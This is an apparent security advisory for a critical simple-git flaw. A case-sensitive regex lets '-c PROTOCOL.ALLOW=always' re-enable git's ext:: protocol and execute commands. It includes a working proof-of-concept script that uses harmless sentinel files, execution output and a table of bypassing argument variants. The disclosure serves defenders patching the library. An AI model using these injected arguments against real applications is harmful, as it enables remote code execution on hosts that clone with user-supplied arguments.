Vulnerability GHSA-r275-fr43-pm7q

Critical
CRITICAL RISK
CVSS Score: 9.8
Score Range: 9.0–10.0
Critical severity vulnerabilities (CVSS 9.0–10.0). These represent the highest impact issues.
6 months ago
March 10, 2026 at 06:38 PM UTC
simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE
3.15.0 - 3.32.2
3.15.0 - 3.32.2

Summary

simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE

Details

Summary

The blockUnsafeOperationsPlugin in simple-git fails to block git protocol override arguments when the config key is passed in uppercase or mixed case. An attacker who controls arguments passed to git operations can enable the ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an arbitrary OS command on the host machine.

poc.js

/**
 * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass
 *
 * CVE-2022-25912 was fixed in [email protected] by adding a regex check
 * that blocks `-c protocol.*.allow=always` from being passed to git commands.
 * The regex is case-sensitive. Git treats config key names case-insensitively.
 * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
 *
 * Affected : simple-git >= 3.15.0 (all versions with the fix applied)
 * Tested on: [email protected], Node.js v23.11.0, git 2.39.5
 * Reporter : CodeAnt AI Security Research ([email protected])
 */

const simpleGit = require('simple-git');
const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}

const git = simpleGit();

// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────
// This is the exact PoC Snyk used to report CVE-2022-25912.
// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
  '-c', 'protocol.ext.allow=always',   // lowercase — caught by regex
]).catch((e) => {
  console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────
// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes the command.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
  '-c', 'PROTOCOL.ALLOW=always',       // uppercase — NOT caught by regex
]).catch((e) => {
  console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Real-world scenario ──────────────────────────────────────────────────────
// An application cloning a legitimate repository with user-controlled customArgs.
// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.
// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates
// but the injected argument enables ext:: and the real URL executes the command instead.
//
// Legitimate usage (what the app expects):
//   simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',
//                     '/tmp/codeant-quality-gates', userArgs)
//
// Attacker-controlled scenario (what actually runs when args are not sanitised):
const LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';
const CLONE_DEST     = '/tmp/codeant-quality-gates';
const SENTINEL_RW    = '/tmp/pwn-realworld';
try { fs.unlinkSync(SENTINEL_RW); } catch (_) {}

const userArgs   = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';

simpleGit().clone(
  attackerURL,   // should have been LEGITIMATE_URL
  CLONE_DEST,
  userArgs
).catch(() => {
  console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',
    fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');
});

Vector 2 — Uppercase bypass (PROTOCOL.ALLOW=always)

Result: BYPASSED ⚠️ — RCE confirmed

The preventProtocolOverride regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive. PROTOCOL.ALLOW=always (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the ext:: protocol. The injected shell command executes before git errors on the missing repository stream.

Output:

ext:: executed: PWNED — /tmp/pwn-codeant created
GitError: Cloning into '/tmp/example-new-repo-2'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

    at Object.action (.../simple-git/dist/cjs/index.js:1440:25)
    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {
  task: {
    commands: [
      'clone',
      '-c',
      'PROTOCOL.ALLOW=always',
      'ext::sh -c touch% /tmp/pwn-codeant% >&2',
      '/tmp/example-new-repo-2'
    ],
    format: 'utf-8',
    parser: [Function: parser]
  }
}

/tmp/pwn-codeant was created by the git subprocess — command execution confirmed.

Summary

# Vector Payload Sentinel file Result
1 CVE-2022-25912 original protocol.ext.allow=always (lowercase) not created Blocked ✅
2 Case-sensitivity bypass PROTOCOL.ALLOW=always (uppercase) /tmp/pwn-codeant created RCE ⚠️
3 Real-world app scenario PROTOCOL.ALLOW=always + attacker URL /tmp/pwn-realworld created RCE ⚠️

The case-sensitive regex in preventProtocolOverride blocks protocol.*.allow but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.

/tmp/pwned is created by the git subprocess via the ext:: protocol.

All of the following bypass the check:

Argument passed via -c Regex matches? Git honours it?
protocol.allow=always ✅ blocked ✅
PROTOCOL.ALLOW=always ❌ bypassed ✅
Protocol.Allow=always ❌ bypassed ✅
PROTOCOL.allow=always ❌ bypassed ✅
protocol.ALLOW=always ❌ bypassed ✅

Impacted packages

Timeline

Published
6 months ago
March 10, 2026 at 06:38 PM UTC
Fixed (3.32.3)
7 months ago
February 26, 2026 at 07:55 AM UTC
Last Modified
26 days ago
September 10, 2026 at 03:50 AM UTC